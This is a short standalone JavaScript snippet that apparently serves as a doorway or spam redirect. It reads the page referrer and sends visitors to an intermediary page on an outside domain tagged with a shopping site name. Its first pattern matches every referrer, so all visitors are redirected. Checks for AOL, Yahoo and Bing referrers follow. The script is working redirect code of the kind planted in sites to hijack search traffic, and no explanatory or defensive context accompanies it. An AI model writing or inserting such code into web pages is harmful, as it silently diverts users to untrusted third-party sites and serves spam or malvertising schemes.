var toUrl="http://"; var rUrl = document.referrer; var patrn=/(.*)$/; toUrl+="servingnotice.com/Kxd6us/intermediary.html?shoesuk.info"; toUrl+=""; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)aol.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)yahoo.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)bing.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl;